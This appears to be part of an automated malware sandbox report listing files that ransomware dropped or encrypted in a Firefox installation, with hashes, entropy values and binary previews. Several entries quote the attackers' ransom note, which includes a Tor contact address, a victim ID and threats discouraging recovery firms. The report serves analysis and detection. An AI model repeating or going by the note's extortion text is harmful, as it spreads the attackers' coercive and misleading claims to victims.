Preview:	o.C.5F..F].{...3..."..h.3...R('$..\y.-...\X.x...m..2k.6........!<.).........................(..chrome.manifestPK............!<.AI.S...S.................K)..background.jsPK............!<g....F.....{...37.,...w..=.1@SK...?..Y..k...........foF..sPK............!<..uiq1..q1.. ..............w..chrome/content/customElements.jsPK............!<!.DH........ .............d...chrK.&+.b.y70nT....WS.I.<.G.Q..)#0..\y.-..x_..R.....lb..4.............chrome/content/editCreditCard.xhtmlPK............!<.C............................chrome/content/editDialog.jsPK......$.C.e..1e..s...:7.3..D.3.=.R(...x.\.._..k.......%...Au@...l.cssPK............!<.iet........".............O...chrome/content/formfill-anchor.svgPK............!<...........$.............(..Cg...`7qy......^.C... .A.N..[@R...*..f...G...x...b.?-=[...'...&.................chrome/content/icon-address-update.svgPK............!<P+F.........+.................chrome/content/icon-cre@.7).l.i.9......@A.\|..P.9.=.R(!$...&.

C:\Program Files\Mozilla Firefox\browser\features\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Mozilla Firefox\browser\features\pictureinpicture@mozilla.org.xpi

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	62561
Entropy (8bit):	6.516681983768441
Encrypted:	false
SSDEEP:	768:YGaZs1gIYyLrbMk+MJEax/fT3IS7fXREE1ptUoYj4Tz:FavIL8k+AE+fDIS7fXRETj4Tz
MD5:	E840857330F8CA6BE6CF55CD56C5B5D1
SHA1:	8EAE83E7182D85C178650F79F26C5E1B6250BF4D
SHA-256:	C5FDA9228DC5C3AF3243C1E8BA99E4A1A52CA7D919868A16AF8FC4B903276036
SHA-512:	6EE3FD8277C92D7E08A8C87FEE8D9A28DF3385FCFC0F561812C7E0FD5853E7687816021E51E882CFDCC50A12436C2091C1B8D5EFE1C6A85238E6FFFEE87ACC2A
Malicious:	false
Preview:	}}.'R.....U.3...'.Q..yCA......P.,5..x.(..G..H.;,..:....]s/aboutConfigPipPrefs.jsPK............!<...........#.................experiment-apis/pictureInPicture.jsPK............!<..f.i!.,..'......U.3..p.....K.> .W.yo_".s\...~..]]Z.v\._.:;...'... .........!<..c.Y...Y...(..............@..experiment-apis/aboutConfigPipPrefs.jsonPK............!<.$.<...<...%..............F..eT..Uk...>.%.@#..r.m.WA.#".R..5@#.Be....{.(/?......1..9.T.b.4#..............M..lib/picture_in_picture_overrides.jsPK............!<..........................0Z..manifest.jsonPK............!<..A...../..U.3......../H...'.hnD~._e....{.(/?......]y...T....4...............`..video-wrappers/airmozilla.jsPK............!<x.iD...D..................g..video-wrappers/arte.jsPK.............^h'f....aV.3......../.J.v5...\9.IZ...v..M]L.{H.......W...4...!<@U..E...E..................o..video-wrappers/cbc.jsPK............!<..F......................._s..video-wrappers/dailymotion...wI.....U.3...:.1....JA8 ...P.,5.

C:\Program Files\Mozilla Firefox\browser\features\pictureinpicture@mozilla.org.xpi.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	62561
Entropy (8bit):	6.516681983768441
Encrypted:	false
SSDEEP:	768:YGaZs1gIYyLrbMk+MJEax/fT3IS7fXREE1ptUoYj4Tz:FavIL8k+AE+fDIS7fXRETj4Tz
MD5:	E840857330F8CA6BE6CF55CD56C5B5D1
SHA1:	8EAE83E7182D85C178650F79F26C5E1B6250BF4D
SHA-256:	C5FDA9228DC5C3AF3243C1E8BA99E4A1A52CA7D919868A16AF8FC4B903276036
SHA-512:	6EE3FD8277C92D7E08A8C87FEE8D9A28DF3385FCFC0F561812C7E0FD5853E7687816021E51E882CFDCC50A12436C2091C1B8D5EFE1C6A85238E6FFFEE87ACC2A
Malicious:	false
Preview:	}}.'R.....U.3...'.Q..yCA......P.,5..x.(..G..H.;,..:....]s/aboutConfigPipPrefs.jsPK............!<...........#.................experiment-apis/pictureInPicture.jsPK............!<..f.i!.,..'......U.3..p.....K.> .W.yo_".s\...~..]]Z.v\._.:;...'... .........!<..c.Y...Y...(..............@..experiment-apis/aboutConfigPipPrefs.jsonPK............!<.$.<...<...%..............F..eT..Uk...>.%.@#..r.m.WA.#".R..5@#.Be....{.(/?......1..9.T.b.4#..............M..lib/picture_in_picture_overrides.jsPK............!<..........................0Z..manifest.jsonPK............!<..A...../..U.3......../H...'.hnD~._e....{.(/?......]y...T....4...............`..video-wrappers/airmozilla.jsPK............!<x.iD...D..................g..video-wrappers/arte.jsPK.............^h'f....aV.3......../.J.v5...\9.IZ...v..M]L.{H.......W...4...!<@U..E...E..................o..video-wrappers/cbc.jsPK............!<..F......................._s..video-wrappers/dailymotion...wI.....U.3...:.1....JA8 ...P.,5.

C:\Program Files\Mozilla Firefox\browser\features\screenshots@mozilla.org.xpi

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	172583
Entropy (8bit):	6.501938488181646
Encrypted:	false
SSDEEP:	3072:8BcIzM0j/ZNqCkJQpgSAVCrpv+rVVusTJl4BWff0mQR8zqcicb00Lx+vx069A6N5:yvzVG3SAVCrQSsX4kfhQR8zPiB0LYvxP
MD5:	578BE4E12D3276616BE21CF7BBCC60BC
SHA1:	2DB17F0077693477DA317F52DCE644E5FAE1A34C
SHA-256:	AC1CB88470868149333B3BB4AFCFD20F7001FD2969953EAFBA02C6B53D99434B
SHA-512:	29849C805D9AE56FEEC8B7BF32549B2ABEDF7D700D346AF2E26CD4C607395F7ABA13269F8D357D65B4DDBF8505AFE55FD32E7381123EF127CAF25801B8D826DA
Malicious:	false
Preview:	........3..-F.n...7h.).w..._.4............'.O.....K\|h.7.....urce Code Form is subject to the terms of the Mozilla Public. * License, v. 2.0. If a copy of the MPL was not distributed with t....}.p....G..6y...Fh...f..Z.C.........2.V......)...mI..E/../* globals browser /../* For use inside an iframe onload function, throws an Error if iframe src is not blank.html.. Sh....;.5R..A..!A<s...Mo_..i+.\.............'.0.......J7;.:....'lankDocument = function assertIsBlankDocument(doc) {. if (doc.documentURI !== browser.runtime.getURL("blank.html")) {. const....;..{V.h...>8...Hg...Z..P.....L.....-.J.......7&.q....G);. exc.foundURL = doc.documentURI;. throw exc;. }.};.null;.PK..........!<..\|jh...h.......assertIsTrusted.js/ This Sourc......S\.....e.cx...]..\|7..............'.S...@....?+..M....ense, v. 2.0. If a copy of the MPL was not distributed with this file,. You can obtain one at http://mozilla.org/MPL/2.0/. */....;.g...HG.,.~:...l\|...D6.@........

C:\Program Files\Mozilla Firefox\browser\features\screenshots@mozilla.org.xpi.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	172583
Entropy (8bit):	6.501938488181646
Encrypted:	false
SSDEEP:	3072:8BcIzM0j/ZNqCkJQpgSAVCrpv+rVVusTJl4BWff0mQR8zqcicb00Lx+vx069A6N5:yvzVG3SAVCrQSsX4kfhQR8zPiB0LYvxP
MD5:	578BE4E12D3276616BE21CF7BBCC60BC
SHA1:	2DB17F0077693477DA317F52DCE644E5FAE1A34C
SHA-256:	AC1CB88470868149333B3BB4AFCFD20F7001FD2969953EAFBA02C6B53D99434B
SHA-512:	29849C805D9AE56FEEC8B7BF32549B2ABEDF7D700D346AF2E26CD4C607395F7ABA13269F8D357D65B4DDBF8505AFE55FD32E7381123EF127CAF25801B8D826DA
Malicious:	false
Preview:	........3..-F.n...7h.).w..._.4............'.O.....K\|h.7.....urce Code Form is subject to the terms of the Mozilla Public. * License, v. 2.0. If a copy of the MPL was not distributed with t....}.p....G..6y...Fh...f..Z.C.........2.V......)...mI..E/../* globals browser /../* For use inside an iframe onload function, throws an Error if iframe src is not blank.html.. Sh....;.5R..A..!A<s...Mo_..i+.\.............'.0.......J7;.:....'lankDocument = function assertIsBlankDocument(doc) {. if (doc.documentURI !== browser.runtime.getURL("blank.html")) {. const....;..{V.h...>8...Hg...Z..P.....L.....-.J.......7&.q....G);. exc.foundURL = doc.documentURI;. throw exc;. }.};.null;.PK..........!<..\|jh...h.......assertIsTrusted.js/ This Sourc......S\.....e.cx...]..\|7..............'.S...@....?+..M....ense, v. 2.0. If a copy of the MPL was not distributed with this file,. You can obtain one at http://mozilla.org/MPL/2.0/. */....;.g...HG.,.~:...l\|...D6.@........

C:\Program Files\Mozilla Firefox\browser\features\webcompat-reporter@mozilla.org.xpi

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	31155
Entropy (8bit):	6.528013203088748
Encrypted:	false
SSDEEP:	768:HRjVvg2enVz+sEzoarVHA/0HYPT3AY/qS:xj4VioarVHA/0KAY/h
MD5:	5ABC91FFC7237CB2D4C0DBC1B8ED51A5
SHA1:	FC857254FBD1F00D969DA58A76D65FEEC6A17B65
SHA-256:	782D94251A20D663E649568F0EF62FF3B50ED1577ED55D9E78B333E5EA2A2F59
SHA-512:	D4C81ABB8C053713055D878C8EE176D6F989C89E360567AF25DEAB217AA99E05559BA724258DC2435FFB787EEB7506FBF058F23BC6DA1064E9E299CE2D602B64
Malicious:	false
Preview:	..}...._u/.z......Q....NS9...EO...e3E..+l........-.!...}.. .uIs/helpMenu.jsPK............!<..`.D...D...$.................experimentalAPIs/aboutConfigPrefs.jsPK............!<..{3...3.......a.}........z..{...J.p..,6J...DQ...e3E..+M.Zm5...].E......LF%...........background.jsPK............!<...._..._...'..............%..en-US/locale/en-US/webcompat.propertiesPK............!<lYi.~...KP%.z......md...JS\...7:.\|..R)G..XC.o9~\|...;.4...u.&5JnPK............!<gv.........*..............)..experimentalAPIs/actors/tabExtrasActor.jsmPK............!<.G.{j...j..............a3....3.@...}..,48b..8<N....=.v..@.M.?o..V.....\|..p.s..L&#..!..............M..experimentalAPIs/browserInfo.jsonPK............!<.:........................#T..experimentalAPIs/helpMenu.jso..6....Kv%.z..2..:9....#U9...ES...e3E....C..Vnp...4.6.......5.l10n.jsPK............!<o9.i.......................]..experimentalAPIs/l10n.jsonPK............!<..........................._..exp...h....'7u....r.....b..9.r...FY...e3E.

C:\Program Files\Mozilla Firefox\browser\features\webcompat-reporter@mozilla.org.xpi.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	31155
Entropy (8bit):	6.528013203088748
Encrypted:	false
SSDEEP:	768:HRjVvg2enVz+sEzoarVHA/0HYPT3AY/qS:xj4VioarVHA/0KAY/h
MD5:	5ABC91FFC7237CB2D4C0DBC1B8ED51A5
SHA1:	FC857254FBD1F00D969DA58A76D65FEEC6A17B65
SHA-256:	782D94251A20D663E649568F0EF62FF3B50ED1577ED55D9E78B333E5EA2A2F59
SHA-512:	D4C81ABB8C053713055D878C8EE176D6F989C89E360567AF25DEAB217AA99E05559BA724258DC2435FFB787EEB7506FBF058F23BC6DA1064E9E299CE2D602B64
Malicious:	false
Preview:	..}...._u/.z......Q....NS9...EO...e3E..+l........-.!...}.. .uIs/helpMenu.jsPK............!<..`.D...D...$.................experimentalAPIs/aboutConfigPrefs.jsPK............!<..{3...3.......a.}........z..{...J.p..,6J...DQ...e3E..+M.Zm5...].E......LF%...........background.jsPK............!<...._..._...'..............%..en-US/locale/en-US/webcompat.propertiesPK............!<lYi.~...KP%.z......md...JS\...7:.\|..R)G..XC.o9~\|...;.4...u.&5JnPK............!<gv.........*..............)..experimentalAPIs/actors/tabExtrasActor.jsmPK............!<.G.{j...j..............a3....3.@...}..,48b..8<N....=.v..@.M.?o..V.....\|..p.s..L&#..!..............M..experimentalAPIs/browserInfo.jsonPK............!<.:........................#T..experimentalAPIs/helpMenu.jso..6....Kv%.z..2..:9....#U9...ES...e3E....C..Vnp...4.6.......5.l10n.jsPK............!<o9.i.......................]..experimentalAPIs/l10n.jsonPK............!<..........................._..exp...h....'7u....r.....b..9.r...FY...e3E.

C:\Program Files\Mozilla Firefox\browser\features\webcompat@mozilla.org.xpi

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	424254
Entropy (8bit):	6.615422210963659
Encrypted:	false
SSDEEP:	6144:36jgfrbJMHm6w/TF7+zWCLdvsXzakaliMRFKM1Ts0w:3zZd1tUkzakVMr1w
MD5:	33EF26561D3EE9F04B885C7D13AA7566
SHA1:	DC7BAE167D5B3FC4AD29723C29F6D3C1C3C1939A
SHA-256:	5252230D5302159575E66EB95F403094276E02484DA10BE4020E3F85AA60C250
SHA-512:	B3F694D00BED8BFC0DA166AA0D6CCE821FA9C82368437C9BF77074ADB4842EB9BD352E56305EC1D4C9EC90136AE386E921396E156C4D4FBEA5ED5DD021ED4999
Malicious:	false
Preview:	.a.V...:"......^..[-.M...UX...@..~.......0 .3v.w..........#.boutPage.jsPK............!<...I...I..................8..experiment-apis/appConstants.jsPK............!<..-.7...7...#...........lv].....^D...s.so..j.....x.7..>..w.....X....m.v......D@1[...!...%..............C..experiment-apis/trackingProtection.jsPK............!<..d2L...L..................\..about-compat/AboutComp..O.u.../#......^..g8..26..XX...Y..~.................]....m./aboutCompat.cssPK............!<.D.HR...R..................n..about-compat/aboutCompat.htmlPK............!<......................ay.{...@...0.1c..m.....x.7..-..a..........n.v.7......p}..z................\|...about-compat/aboutPage.jsonPK............!<...O........&.................about-compat/aboutPageProcessScript.j........!......bX{.H/....kUX..Y..~.....AA..nd..w.........".sPK............!<s+,..]...]...................data/shims.jsPK............!<(.&B.....................^..data/ua_overrides.jsPK..u......!......aha.....)UX...Y..~.ww

C:\Program Files\Mozilla Firefox\browser\features\webcompat@mozilla.org.xpi.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	424254
Entropy (8bit):	6.615422210963659
Encrypted:	false
SSDEEP:	6144:36jgfrbJMHm6w/TF7+zWCLdvsXzakaliMRFKM1Ts0w:3zZd1tUkzakVMr1w
MD5:	33EF26561D3EE9F04B885C7D13AA7566
SHA1:	DC7BAE167D5B3FC4AD29723C29F6D3C1C3C1939A
SHA-256:	5252230D5302159575E66EB95F403094276E02484DA10BE4020E3F85AA60C250
SHA-512:	B3F694D00BED8BFC0DA166AA0D6CCE821FA9C82368437C9BF77074ADB4842EB9BD352E56305EC1D4C9EC90136AE386E921396E156C4D4FBEA5ED5DD021ED4999
Malicious:	false
Preview:	.a.V...:"......^..[-.M...UX...@..~.......0 .3v.w..........#.boutPage.jsPK............!<...I...I..................8..experiment-apis/appConstants.jsPK............!<..-.7...7...#...........lv].....^D...s.so..j.....x.7..>..w.....X....m.v......D@1[...!...%..............C..experiment-apis/trackingProtection.jsPK............!<..d2L...L..................\..about-compat/AboutComp..O.u.../#......^..g8..26..XX...Y..~.................]....m./aboutCompat.cssPK............!<.D.HR...R..................n..about-compat/aboutCompat.htmlPK............!<......................ay.{...@...0.1c..m.....x.7..-..a..........n.v.7......p}..z................\|...about-compat/aboutPage.jsonPK............!<...O........&.................about-compat/aboutPageProcessScript.j........!......bX{.H/....kUX..Y..~.....AA..nd..w.........".sPK............!<s+,..]...]...................data/shims.jsPK............!<(.&B.....................^..data/ua_overrides.jsPK..u......!......aha.....)UX...Y..~.ww

C:\Program Files\Mozilla Firefox\browser\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Mozilla Firefox\browser\omni.ja

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	42504982
Entropy (8bit):	6.802103156905315
Encrypted:	false
SSDEEP:	196608:W9LviWyBHqVgREoEttzpPJZrp9n1cVeK0pOCJeodY41TL6UjYyBQnk8l37cG5Zt:W9DiWQqVtFBL/Yelgo2QL6eYBnJ395f
MD5:	A4368E990B5F8A9C2AE7AD9B1F6DD568
SHA1:	59F423A13517909F1B65606B85ECBD03C59EE937
SHA-256:	14A38EF3E677A164D8250646AC632484546A3B70912B28470126C595EC245ADB
SHA-512:	9559AD01F94E5FCD738C28D6A740DF46E5A8B82D95E25BB006DDB08EE09059EE69617B2395149870536F6192EC336431B31D15861F74EF0245522EE4369368F4
Malicious:	false
Preview:	G .,"X.o&..T.BJ...(...../3^<./.{.U.P....H...rk.lV..q.H9...0..Vrences/firefox.jsPK............!<....;...;...$.................defaults/preferences/firefox-l10n.jsPK............!<..}.........(.d.,r..m2...{US...l....9x$B,..K...6.#..m....2....V..w.N>..@v~9.......!<....[...[... .............["..defaults/preferences/debugger.jsPK............!<..Y.H...H.....................chrome.mani...X"X.o&..T.BJ...(.O.....2^F...r.U.P....H......lQ....Ab...-...manifestPK............!<#TS.#...#.................U6..components/components.manifestPK............!<E...........3..............9.d.D.\|c....;.1/}..f....9$i@1..K.K. .<..m..).......A..@.%O..Bb}3...!<..!.O...O...-..............:..chrome/en-US/locale/branding/brand.propertiesPK............!<S...........=.............r;..lo...E.rz.]..1.o.\..{....?$bV;..G...'.4..p..$.%....S.....+....c.'.........!<:./.........*..............>..localization/en-US/browser/screenshots.ftlPK............!<...\........&..............I....O..g.S..;.m/a..Z....:xn@q..@.....6..T

C:\Program Files\Mozilla Firefox\browser\omni.ja.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	42504982
Entropy (8bit):	6.802103156905315
Encrypted:	false
SSDEEP:	196608:W9LviWyBHqVgREoEttzpPJZrp9n1cVeK0pOCJeodY41TL6UjYyBQnk8l37cG5Zt:W9DiWQqVtFBL/Yelgo2QL6eYBnJ395f
MD5:	A4368E990B5F8A9C2AE7AD9B1F6DD568
SHA1:	59F423A13517909F1B65606B85ECBD03C59EE937
SHA-256:	14A38EF3E677A164D8250646AC632484546A3B70912B28470126C595EC245ADB
SHA-512:	9559AD01F94E5FCD738C28D6A740DF46E5A8B82D95E25BB006DDB08EE09059EE69617B2395149870536F6192EC336431B31D15861F74EF0245522EE4369368F4
Malicious:	false
Preview:	G .,"X.o&..T.BJ...(...../3^<./.{.U.P....H...rk.lV..q.H9...0..Vrences/firefox.jsPK............!<....;...;...$.................defaults/preferences/firefox-l10n.jsPK............!<..}.........(.d.,r..m2...{US...l....9x$B,..K...6.#..m....2....V..w.N>..@v~9.......!<....[...[... .............["..defaults/preferences/debugger.jsPK............!<..Y.H...H.....................chrome.mani...X"X.o&..T.BJ...(.O.....2^F...r.U.P....H......lQ....Ab...-...manifestPK............!<#TS.#...#.................U6..components/components.manifestPK............!<E...........3..............9.d.D.\|c....;.1/}..f....9$i@1..K.K. .<..m..).......A..@.%O..Bb}3...!<..!.O...O...-..............:..chrome/en-US/locale/branding/brand.propertiesPK............!<S...........=.............r;..lo...E.rz.]..1.o.\..{....?$bV;..G...'.4..p..$.%....S.....+....c.'.........!<:./.........*..............>..localization/en-US/browser/screenshots.ftlPK............!<...\........&..............I....O..g.S..;.m/a..Z....:xn@q..@.....6..T

C:\Program Files\Mozilla Firefox\crashreporter.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	259802
Entropy (8bit):	7.099395702606697
Encrypted:	false
SSDEEP:	6144:byF51kRti5tC7RDsDr0MisKUZRQHLx6jrEepK0bZ:bAIti5tMViLUAooZ
MD5:	4D95A3C99A5BDD516D4A82E55797E5D0
SHA1:	6C5D6028C5222F95314A2C3D097FE044F3767888
SHA-256:	AC4268AF58CFAA6ACC7F688843F0B47043C378B07075AB35661B51D6DC356C0E
SHA-512:	0776CA6A1686EDE4983166C4B8DE9FAAB044015CA19FFEC37952C81E8F49B4AFFB1DEE767300CDD4B0CED1F79AC5F39D809477AE901D9603137F114F35459219
Malicious:	true
Preview:	..Y.h.W....t...'S../.Z..........P)... +c...7.i.6..Z........?........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."............................@......................!.i.W...t...'.e..-.:.M........P)... ;c...7.y.6..Z.....m..?.........................P...........)... ......T...........................(...p...8...........H................................Dc..W..C.t...'S.../.Z...........p).e.RO.o.70..6..X..`..}..?............@..@.data........@......................@....pdata.......P.......0..............@..@.00cfg..(....`.......@............!.).W........'Z../.Y...........P)... +c[.....fZZ.6.....}..?.....D...................rsrc................F..............@..@.reloc....... ......................@..B..........................!.i.W....t...'S../.Z...........P)... +c...7.i.6..Z.....}..?..................................................................................................................................!.i.W....t...'S../.Z...........P)..

C:\Program Files\Mozilla Firefox\crashreporter.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	259802
Entropy (8bit):	7.099395702606697
Encrypted:	false
SSDEEP:	6144:byF51kRti5tC7RDsDr0MisKUZRQHLx6jrEepK0bZ:bAIti5tMViLUAooZ
MD5:	4D95A3C99A5BDD516D4A82E55797E5D0
SHA1:	6C5D6028C5222F95314A2C3D097FE044F3767888
SHA-256:	AC4268AF58CFAA6ACC7F688843F0B47043C378B07075AB35661B51D6DC356C0E
SHA-512:	0776CA6A1686EDE4983166C4B8DE9FAAB044015CA19FFEC37952C81E8F49B4AFFB1DEE767300CDD4B0CED1F79AC5F39D809477AE901D9603137F114F35459219
Malicious:	false
Preview:	..Y.h.W....t...'S../.Z..........P)... +c...7.i.6..Z........?........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."............................@......................!.i.W...t...'.e..-.:.M........P)... ;c...7.y.6..Z.....m..?.........................P...........)... ......T...........................(...p...8...........H................................Dc..W..C.t...'S.../.Z...........p).e.RO.o.70..6..X..`..}..?............@..@.data........@......................@....pdata.......P.......0..............@..@.00cfg..(....`.......@............!.).W........'Z../.Y...........P)... +c[.....fZZ.6.....}..?.....D...................rsrc................F..............@..@.reloc....... ......................@..B..........................!.i.W....t...'S../.Z...........P)... +c...7.i.6..Z.....}..?..................................................................................................................................!.i.W....t...'S../.Z...........P)..

C:\Program Files\Mozilla Firefox\crashreporter.ini

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4216
Entropy (8bit):	7.8176475020588265
Encrypted:	false
SSDEEP:	96:jjzxoYyqE01BrzxpJ2emLs0zEU7suDQzxMckM0aIx4RS:jjzKYyo29I0zW9eckl/x4RS
MD5:	30071672CE31B0F897EBA9F6EFC61F96
SHA1:	E26AECEBD826015D2892EBEF62483D5E5343EF74
SHA-256:	89FD78A17C79C878472C756005A2B9461B7A01A4938B0B7EB186BDDA1264F751
SHA-512:	431FB70E90817A26AA58CA314AFFAC7979DFEAE8A5BF7C0060FDFA700646CD9C59A518CBA5034858FCD77B1E1CB77289E4EF9748BBE2123CA4C7606D9C3F851C
Malicious:	false
Preview:	.'...>....I.a3.qn8.p.F..b^...D....x...rq......O.J~...O.K.e...G.k..X.j`.2+..W...+d...M....c...rH.#.......V;....T/....'...%.?..H.?3.wf8..<[..hL...Z....c...rm.........Kw....T!..;..5...c.A..o.m`.xc1...G.e....{...,..;k.e.......QF....i..".S...m.....]m`.JFt.<F...j[....G...x...."q.O.......[t....G(...'...8.9....mt.j')...Q..+A...Z...j...3h.........ci....f....p..(.8..U[$Z.>s2.DEX..lX...@...,...."i........G;....S(...k...)....W.w{.ie/..GM..).....O....e.....XF.........V~...J#....o...=.9..I.'3.QI...?u..Dc..k...m....=w.........vr.....f..K.'...!.(....mg.>~5...Q..d_...K...e.....j......e.Pz....V)....b...?."..^H!`.]x<.^Ef..d_.......M....J.O.....G.Pz....V)....u.....3...U!`.wy}.S.X..nI...F...x...&w.........Ku....B#...c...+.9..O.k}..I/.E.f..d_...\...i....7%.........Mu.....'....k...,./..I.w{.z$..j.a..d_...Z....,... d.........Gi....S(....s..8.&....$a.ne/...[...E....\....P..&d.......e..W...o..".'.....c..Z.lA.ne/.S.d..oX...\...t...

C:\Program Files\Mozilla Firefox\crashreporter.ini.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4216
Entropy (8bit):	7.8176475020588265
Encrypted:	false
SSDEEP:	96:jjzxoYyqE01BrzxpJ2emLs0zEU7suDQzxMckM0aIx4RS:jjzKYyo29I0zW9eckl/x4RS
MD5:	30071672CE31B0F897EBA9F6EFC61F96
SHA1:	E26AECEBD826015D2892EBEF62483D5E5343EF74
SHA-256:	89FD78A17C79C878472C756005A2B9461B7A01A4938B0B7EB186BDDA1264F751
SHA-512:	431FB70E90817A26AA58CA314AFFAC7979DFEAE8A5BF7C0060FDFA700646CD9C59A518CBA5034858FCD77B1E1CB77289E4EF9748BBE2123CA4C7606D9C3F851C
Malicious:	false
Preview:	.'...>....I.a3.qn8.p.F..b^...D....x...rq......O.J~...O.K.e...G.k..X.j`.2+..W...+d...M....c...rH.#.......V;....T/....'...%.?..H.?3.wf8..<[..hL...Z....c...rm.........Kw....T!..;..5...c.A..o.m`.xc1...G.e....{...,..;k.e.......QF....i..".S...m.....]m`.JFt.<F...j[....G...x...."q.O.......[t....G(...'...8.9....mt.j')...Q..+A...Z...j...3h.........ci....f....p..(.8..U[$Z.>s2.DEX..lX...@...,...."i........G;....S(...k...)....W.w{.ie/..GM..).....O....e.....XF.........V~...J#....o...=.9..I.'3.QI...?u..Dc..k...m....=w.........vr.....f..K.'...!.(....mg.>~5...Q..d_...K...e.....j......e.Pz....V)....b...?."..^H!`.]x<.^Ef..d_.......M....J.O.....G.Pz....V)....u.....3...U!`.wy}.S.X..nI...F...x...&w.........Ku....B#...c...+.9..O.k}..I/.E.f..d_...\...i....7%.........Mu.....'....k...,./..I.w{.z$..j.a..d_...Z....,... d.........Gi....S(....s..8.&....$a.ne/...[...E....\....P..&d.......e..W...o..".'.....c..Z.lA.ne/.S.d..oX...\...t...

C:\Program Files\Mozilla Firefox\default-browser-agent.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	718042
Entropy (8bit):	7.008542736251794
Encrypted:	false
SSDEEP:	12288:xrXd9ZHOoOpPp03UFpFmFFctshFFJi4eaGCD7/kgkefoW+JfyI:x7jZXUFpFeFQOF0O7/kgdfJmfyI
MD5:	03397F137E7193F60858B9FD9A12ACBE
SHA1:	7343DECEBE59CB772E015C15F4EC136629B438DB
SHA-256:	222939985DE1705492C37E84542C100C3C39E7C1397324F9F723A5352984221A
SHA-512:	D59B0CD9E9E083C3F859AA81A11EB7B367DBAD2D3953D4B70187C9BE9E311985AF8638EFD5FD94DE7870A4ED16EC6A0FF468737F44981F4C3666BD1127C091D2
Malicious:	true
